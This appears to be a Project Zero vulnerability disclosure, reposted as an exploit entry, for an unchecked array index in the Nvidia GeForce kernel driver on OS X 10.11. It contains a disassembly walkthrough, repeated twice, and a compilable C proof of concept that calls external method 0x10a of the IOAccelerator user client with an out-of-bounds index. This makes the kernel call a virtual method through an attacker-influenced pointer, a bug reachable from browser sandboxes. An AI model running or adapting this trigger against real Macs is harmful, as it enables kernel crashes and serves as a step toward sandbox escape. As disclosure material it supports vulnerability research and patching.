Apple Mac OSX Kernel – Unchecked Array Index Used to Read Object Pointer Then Call Virtual Method in Nvidia Geforce Driver
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=709 nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator. It takes a single uint argument __text:000000000001BCD2 mov r14d, esi ... __text:000000000001BD08 and r14d, 7FFFFFFFh <-- clear upper bit __text:000000000001BD0F mov rax, [r15+168h] __text:000000000001BD16 mov rdi, [rax+r14*8] <-- use as array index __text:000000000001BD1A test rdi, rdi __text:000000000001BD1D jz short loc_1BD2C __text:000000000001BD1F mov rax, [rdi] <-- read vtable __text:000000000001BD22 call qword ptr [rax+28h] <-- call OSObject::release This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.) This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process. */ //ianbeer // build: clang -o nv_oob nv_oob.c -framework IOKit // tested on MacBookPro 10,1 w/10.11.3 (15D21) - if you test on machine with a different graphics setup then make you open the correct user client :) /* OS X Kernel unchecked array index used to read object pointer then call virtual method in nvdia geforce driver nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator. It takes a single uint argument __text:000000000001BCD2 mov r14d, esi ... __text:000000000001BD08 and r14d, 7FFFFFFFh <-- clear upper bit __text:000000000001BD0F mov rax, [r15+168h] __text:000000000001BD16 mov rdi, [rax+r14*8] <-- use as array index __text:000000000001BD1A test rdi, rdi __text:000000000001BD1D jz short loc_1BD2C __text:000000000001BD1F mov rax, [rdi] <-- read vtable __text:000000000001BD22 call qword ptr [rax+28h] <-- call OSObject::release This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.) This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process. */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> uint64_t release_device_texture(mach_port_t conn) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 1; inputStructCnt = 0; outputScalarCnt = 0; outputStructCnt = 0; inputScalar[0] = 0x0f0f0f0f; err = IOConnectCallMethod( conn, 0x10a, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } int main(int argc, char** argv){ mach_port_t gl_context = get_user_client("IOAccelerator", 5); release_device_texture(gl_context); return 0; } |